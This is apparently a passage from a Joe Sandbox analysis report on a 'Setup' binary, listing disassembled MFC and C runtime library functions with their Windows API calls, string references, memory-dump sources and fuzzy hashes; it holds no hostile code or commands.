Opcode Fuzzy Hash: 91e286ad2a79623a7cb8d3347f94202fd8ed39feba149b2fa054237b3dd8b860
Instruction Fuzzy Hash: 7F018C31601A51EFCB218F24DD08F59BBB8FB44720F008266F826D76A0DB74E902CBA1

Function 00B76671 Relevance: 7.5, APIs: 5, Instructions: 44windowCOMMON

Download Yara Rule

APIs

ScreenToClient.USER32(?,?), ref: 00B7667E
SendMessageW.USER32(?,00000366,00000000,00000000), ref: 00B7669A
ClientToScreen.USER32(?,?), ref: 00B766A7
GetWindowLongW.USER32(?,000000F0), ref: 00B766B0
GetParent.USER32(?), ref: 00B766BE

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: ClientScreen$LongMessageParentSendWindow
String ID:
API String ID: 4240056119-0
Opcode ID: 407ada033228decfaff474052b0da435053c743cbb4ca1bd57836793837f0d61
Instruction ID: 3b4cc5825c9839eabd87684a65bf8ae21dc8abcb778bc92fdde7f324844cbc91
Opcode Fuzzy Hash: 407ada033228decfaff474052b0da435053c743cbb4ca1bd57836793837f0d61
Instruction Fuzzy Hash: 84F08176502A6477D7121F189C04BFE77ACEB41761F118226FD2A86290DB34DE0192A6

Function 00CBF4EE Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00CBF506

Part of subcall function 00CB9108: HeapFree.KERNEL32(00000000,00000000,?,00CBF581,00B67F84,00000000,00B67F84,00000000,?,00CBF5A8,00B67F84,00000007,00B67F84,?,00CBF98E,00B67F84), ref: 00CB911E
Part of subcall function 00CB9108: GetLastError.KERNEL32(00B67F84,?,00CBF581,00B67F84,00000000,00B67F84,00000000,?,00CBF5A8,00B67F84,00000007,00B67F84,?,00CBF98E,00B67F84,00B67F84), ref: 00CB9130

_free.LIBCMT ref: 00CBF518
_free.LIBCMT ref: 00CBF52A
_free.LIBCMT ref: 00CBF53C
_free.LIBCMT ref: 00CBF54E

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: ea9f61f6ef6b62bc4270106b5b7ad34b8960018a2c334f274b3241da6714dea7
Instruction ID: a6c8abf3a4ec7df48ac5645d744e1a046f6fd9f19bbbba8ece5c339d7cd33e75
Opcode Fuzzy Hash: ea9f61f6ef6b62bc4270106b5b7ad34b8960018a2c334f274b3241da6714dea7
Instruction Fuzzy Hash: 2BF06232518305A78630EF6CF886CDAB7DDEA00310B940859F159D7741C732FE86AA70

Function 00CB20AB Relevance: 7.5, APIs: 1, Strings: 3, Instructions: 498COMMONLIBRARYCODE

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 00CB23BA

Strings

A, xrefs: 00CB2161
:, xrefs: 00CB2152
Z, xrefs: 00CB2168

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: __aulldvrm
String ID: :$A$Z
API String ID: 1302938615-166580712
Opcode ID: 6ee0a2ebc401dd4d3108d2e0040237158d5b86b1c3905aa1e287bdb99d138078
Instruction ID: a72ffd5f4399d8c3c69f58ac787fcc9e11348efea1f0d81f883b2e88c88796de
Opcode Fuzzy Hash: 6ee0a2ebc401dd4d3108d2e0040237158d5b86b1c3905aa1e287bdb99d138078
Instruction Fuzzy Hash: D8F106399001099ADF20CF64D494BEDB3EBEF14704FE84266E564BB291E7348F8E9B14

Function 00B8136C Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 329memoryCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B81376
CoTaskMemAlloc.OLE32(?,?,00000000), ref: 00B814F1
CoTaskMemFree.OLE32(?), ref: 00B81749

Strings

, xrefs: 00B815AA

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Task$AllocFreeH_prolog3_
String ID:
API String ID: 1458175711-3916222277
Opcode ID: a425f8ea3f55d6e84f3780fc8055f37533f1e02d4021215e4b187d054ceb9b12
Instruction ID: 5c9d6600da2876814e50d582c445848eb7dc4fa9161494aac52543e8df57eaa4
Opcode Fuzzy Hash: a425f8ea3f55d6e84f3780fc8055f37533f1e02d4021215e4b187d054ceb9b12
Instruction Fuzzy Hash: 6ED14874A016159FDB24EF68C894A9DBBF8BF08304F1446ADE41AE73A1DB30AD46CF50

Function 00BA13A2 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 117COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00BA141B

Strings

MFCToolBars, xrefs: 00BA1428
%TsMFCToolBar-%d%x, xrefs: 00BA1482
%TsMFCToolBar-%d, xrefs: 00BA146B

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: H_prolog3
String ID: %TsMFCToolBar-%d$%TsMFCToolBar-%d%x$MFCToolBars
API String ID: 431132790-2016111687
Opcode ID: 3b81a2b2d42570c9a5fd6d0087c16d3dbf64569bdda0c48e39ca2d751e8a8913
Instruction ID: 9bb23c094f9c606987c08652c6842fceee3d6ea5c24216147cb08b8d66297d14
Opcode Fuzzy Hash: 3b81a2b2d42570c9a5fd6d0087c16d3dbf64569bdda0c48e39ca2d751e8a8913
Instruction Fuzzy Hash: 7831D471A04219ABCF04EFB8C891ABEB7E9EF05354F140AA9E911A3281DF749D05CB61

Function 00BA3CF9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 98windowCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00BA3D03
SendMessageW.USER32(00000000,0000040D,00000000,00000000), ref: 00BA3D2E
SendMessageW.USER32(?,0000043A,-00000001,00000030), ref: 00BA3D76

Strings

0, xrefs: 00BA3D4A

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: MessageSend$H_prolog3_
String ID: 0
API String ID: 3491702567-4108050209
Opcode ID: 2dfdd5a50293bed49f405ce0455d3b9af6e2d0d02b4ecb20ab59897b19cc4480
Instruction ID: 26281534eb13b5d6bc3809de3674329d0979bde6f8c2ae8dda371c9fc38e00ad
Opcode Fuzzy Hash: 2dfdd5a50293bed49f405ce0455d3b9af6e2d0d02b4ecb20ab59897b19cc4480
Instruction Fuzzy Hash: DD41AD75A00619AFDB24DB60CC85FA9B7B8FF4A704F0002E9F159A3190DB706E80DF62

Function 00B9F981 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00B9F9CC
ScreenToClient.USER32(?,?), ref: 00B9F9D9

Part of subcall function 00CAC41E: _free.LIBCMT ref: 00CAC431

SendMessageW.USER32(?,00000030,?,00000000), ref: 00B9FA5E

Strings

,, xrefs: 00B9F9F3

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: ClientCursorMessageScreenSend_free
String ID: ,
API String ID: 1549304721-3772416878
Opcode ID: f3b3af3c956b54c2dc73845e3b10f404adfe040fd96709a0c8946e4900d657d0
Instruction ID: 2b4d5bb3df8314744aa1097bc609dacde156806b74cc642751bd9e3b43265c17
Opcode Fuzzy Hash: f3b3af3c956b54c2dc73845e3b10f404adfe040fd96709a0c8946e4900d657d0
Instruction Fuzzy Hash: 03316B71A11116AFCF04DBF5EC85BADBBF9EF48764B004179B419D72A0DA30EA009B60

Function 00B888EB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B888F2
LoadCursorW.USER32(00000000,00007F00), ref: 00B88916
GetClassInfoW.USER32(?,?,?), ref: 00B88957

Part of subcall function 00B6EE11: __EH_prolog3_catch.LIBCMT ref: 00B6EE18
Part of subcall function 00B6EE11: GetClassInfoW.USER32(00000000,?,?), ref: 00B6EE2A

Part of subcall function 00B6C656: __CxxThrowException@8.LIBVCRUNTIME ref: 00B6C66A

Strings

%Ts:%x:%x:%x:%x, xrefs: 00B88942

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: ClassInfo$CursorException@8H_prolog3H_prolog3_catchLoadThrow
String ID: %Ts:%x:%x:%x:%x
API String ID: 2140290509-4057404147
Opcode ID: a5022140c94881584a320dae1327468b1bde2c36c60970954345f46e774118a0
Instruction ID: 1d83d63cd8fa319af3b3a24316f09c563c29753c026a63fbc21f773527cbaa1a
Opcode Fuzzy Hash: a5022140c94881584a320dae1327468b1bde2c36c60970954345f46e774118a0
Instruction Fuzzy Hash: 44315EB1D00209AFCB00EFA9D885BAEBBF8FB48310F50446AF508E7241DB758944CBA5

Function 00B78355 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00B7507B: LoadLibraryW.KERNEL32(?,00D13618,00000010,00B6FA21,?,?,?,00000000), ref: 00B750B5

GetProcAddress.KERNEL32(00000000,DllGetVersion), ref: 00B78394
FreeLibrary.KERNEL32(00000000,?,comctl32.dll), ref: 00B783E0

Part of subcall function 00B78342: GetLastError.KERNEL32(?,?,00000000), ref: 00B78342

Strings

DllGetVersion, xrefs: 00B7838E
comctl32.dll, xrefs: 00B7836D

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Library$AddressErrorFreeLastLoadProc
String ID: DllGetVersion$comctl32.dll
API String ID: 2540614322-3857068685
Opcode ID: 46ed406fda962c2ae43e879a899ebccedd488e521b9a9a8165a39d48dbaf9932
Instruction ID: ffb068040b7eb50ea2cbb79169fca4fa6511a9a6ec56004026241606afa18370
Opcode Fuzzy Hash: 46ed406fda962c2ae43e879a899ebccedd488e521b9a9a8165a39d48dbaf9932
Instruction Fuzzy Hash: 79110175A012099BCB00AFA8DC89BAEBBF5AF84B10F014065F919A7350DF74D9009BB5

Function 00B67ABE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(Advapi32.dll,0002001F,?,?,00B6769A,?,?,00000000,00000000,00000000,0002001F,00000000,?,?), ref: 00B67ACF
GetProcAddress.KERNEL32(00000000,RegCreateKeyTransactedW), ref: 00B67ADF

Strings

RegCreateKeyTransactedW, xrefs: 00B67AD9
Advapi32.dll, xrefs: 00B67ACA

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: Advapi32.dll$RegCreateKeyTransactedW
API String ID: 1646373207-2994018265
Opcode ID: f85b87ea5eedb0a32d271ad654fd353eb4c0332cdba9ad2add1e49f674d2b853
Instruction ID: 7ee5010ccc882346ad1423c63a8625c3a2a49bb44ec8dc972529ff00a1bbcff1
Opcode Fuzzy Hash: f85b87ea5eedb0a32d271ad654fd353eb4c0332cdba9ad2add1e49f674d2b853
Instruction Fuzzy Hash: 86016232245209EBCF161F94DC08FAA3FA6FF88355F09407AF61491160DA76C862EB51

Function 00B6A1A0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(Advapi32.dll,?), ref: 00B6A1B3
GetProcAddress.KERNEL32(00000000,RegDeleteKeyTransactedW), ref: 00B6A1C3

Strings

Advapi32.dll, xrefs: 00B6A1AE
RegDeleteKeyTransactedW, xrefs: 00B6A1BD

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: Advapi32.dll$RegDeleteKeyTransactedW
API String ID: 1646373207-2168864297
Opcode ID: 584d53f238bf1ae116712593069607d6591eda1b2552343eacc3e1759a80b0d5
Instruction ID: 77d8a6516a9bf4433ec871c6462ef8af9ddb8cbb7d0463fca4604a626cb43bbb
Opcode Fuzzy Hash: 584d53f238bf1ae116712593069607d6591eda1b2552343eacc3e1759a80b0d5
Instruction Fuzzy Hash: E8F0B433205289FF9B211F95AC88A3A7BEDFB863A9710807BF654A1110DA758C41DB62

Function 00B784E4 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000F0), ref: 00B784FF
GetClassNameW.USER32(?,?,0000000A), ref: 00B78514
CompareStringW.KERNEL32(0000007F,00000001,?,000000FF,combobox,000000FF,?,00B70A7B,?,?), ref: 00B7852B

Strings

combobox, xrefs: 00B7851C

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: ClassCompareLongNameStringWindow
String ID: combobox
API String ID: 1414938635-2240613097
Opcode ID: a68492710e8124cba674f35a3ed8fa64a3f944fe3f2eafc6fabd0980a848ff20
Instruction ID: a308c9935c42583943bc76526a1561ea86655236b2c4c8b99e3af3490a2f88f1
Opcode Fuzzy Hash: a68492710e8124cba674f35a3ed8fa64a3f944fe3f2eafc6fabd0980a848ff20
Instruction Fuzzy Hash: 8EF0C831656119BBCB00EF689C46FAE77A8EB25720F504355F535E71D0CE60D6018796

